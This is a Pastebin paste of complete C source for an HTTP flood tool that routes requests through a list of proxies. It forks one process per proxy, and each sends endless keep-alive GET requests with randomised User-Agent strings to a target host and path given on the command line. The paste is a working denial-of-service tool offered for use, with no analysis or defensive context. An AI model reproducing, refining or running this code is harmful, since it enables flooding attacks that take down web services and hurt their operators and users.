Advertisement
sighting

HTTP Proxy Flood

Jan 1st, 2019
1,081
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.74 KB | None | 0 0
  1. /*- HTTP Flood by netflooding & iotpackets, with proxy usage
  2. - this is shit lol but fuck it, pkill/killall to stop proc
  3. - proxy list layout -> ip port
  4. - ex: 1.1.1.1 80 goto line 147 to change
  5. */
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <string.h>
  9. #include <sys/time.h>
  10. #include <sys/socket.h>
  11. #include <sys/types.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <net/if.h>
  15. #include <netinet/ip.h>
  16. #include <netinet/tcp.h>
  17. #include <errno.h>
  18. #include <netdb.h>
  19. #include <unistd.h>
  20. #include <ctype.h>
  21.  
  22. #define INFO "[\x1b[33m~\x1b[37m]"
  23. #define FAILED "[\x1b[31m-\x1b[37m]"
  24. #define SUCCESS "[\x1b[32m+\x1b[37m]"
  25.  
  26. int Timeout = 10;
  27. char headers[512];
  28.  
  29. // ok so weird idea but we're gonna connect to the proxy and then send a get request to it, for it to get the target/host we're trying to flood
  30.  
  31. void Trim(char *str)
  32. {
  33. int i;
  34. int begin = 0;
  35. int end = strlen(str) - 1;
  36. while (isspace(str[begin])) begin++;
  37. while ((end >= begin) && isspace(str[end])) end--;
  38. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  39. str[i - begin] = '\0';
  40. }
  41.  
  42. char *UserAgents[] = {
  43. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  44. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  45. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  46. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  47. "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  48. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  49. "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  50. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  51. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  52. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  53. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  54. "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  55. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  56. "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  57. "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  58. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  59. "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  60. "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  61. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  62. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  63. "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  64. "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  65. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  66. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  67. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  68. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  69. "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  70. "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  71. "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  72. "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  73. "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  74. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  75. "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  76. "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  77. "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  78. "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  79. "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  80. "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  81. "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5"
  82. };
  83.  
  84. void proxy_flood(char *proxy_host, int proxy_port, char *targeturl, char *path)
  85. {
  86. int ret;
  87. char buffer[1024];
  88. int Socket = -1;
  89. struct timeval timeout;
  90. struct sockaddr_in sock;
  91.  
  92. timeout.tv_sec = Timeout;
  93. timeout.tv_usec = 0;
  94. Socket = socket(AF_INET, SOCK_STREAM, 0);
  95. setsockopt(Socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  96. setsockopt(Socket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  97. sock.sin_family = AF_INET;
  98. sock.sin_port = htons(proxy_port);
  99. sock.sin_addr.s_addr = inet_addr(proxy_host);
  100. if(connect(Socket, (struct sockaddr *)&sock, sizeof(sock)) == -1)
  101. {
  102. //printf(FAILED" Couldn't connect to proxy %s:%d\n", proxy_host, proxy_port);
  103. goto end;
  104. }
  105. else
  106. {
  107. //printf(SUCCESS" Connected to proxy %s:%d\n", proxy_host, proxy_port);
  108. while(1)
  109. {
  110. snprintf(headers, sizeof(headers), "GET %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: keep-alive\r\n\r\n", path, targeturl, UserAgents[(rand() % 39)]);
  111. send(Socket, headers, strlen(headers), 0);
  112. read(Socket, buffer, 1024);
  113. memset(buffer, 0, sizeof(buffer));
  114. memset(headers, 0, sizeof(headers));
  115. }
  116. }
  117. end:
  118. close(Socket);
  119. return;
  120. }
  121.  
  122. int main(int argc, char **argv)
  123. {
  124. char buf[1024];
  125. if(argc < 4 || argc > 4)
  126. {
  127. printf("[\x1b[31m?\x1b[37m] Usage: %s <proxy list(ip port)> <target url(ex: www.google.com)> <path(ex: /index.php)>\n", argv[0]);
  128. exit(-1);
  129. }
  130. srand(time(NULL) ^ getpid());
  131. printf(INFO" Loading proxy list -> %s...\n", argv[1]);
  132. char *host = argv[2];
  133. char *path = argv[3];
  134. FILE *proxies = fopen(argv[1], "r");
  135. if(proxies == NULL)
  136. {
  137. printf("[\x1b[31m-\x1b[37m] Failed to open given proxy list (\x1b[33m%s\x1b[37m)\n", argv[1]);
  138. exit(-1);
  139. }
  140. printf(INFO" Targeting -> %s!\n", argv[2]);
  141. int i = 0;
  142. while(fgets(buf, sizeof(buf) - 1, proxies))
  143. {
  144. if(strlen(buf) < 3 || buf == NULL)
  145. break;
  146. Trim(buf);
  147. char *ip = strtok(buf, " "); // replace ' ' with : if u want layout to be ip:port
  148. int port = atoi(ip+strlen(ip)+1);
  149. i++;
  150. if(!(fork()))
  151. {
  152. printf("\r"SUCCESS"-"INFO" Proxies Loaded -> %d\r", i);
  153. proxy_flood(ip, port, host, path);
  154. exit(0);
  155. }
  156. }
  157. return 0;
  158. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement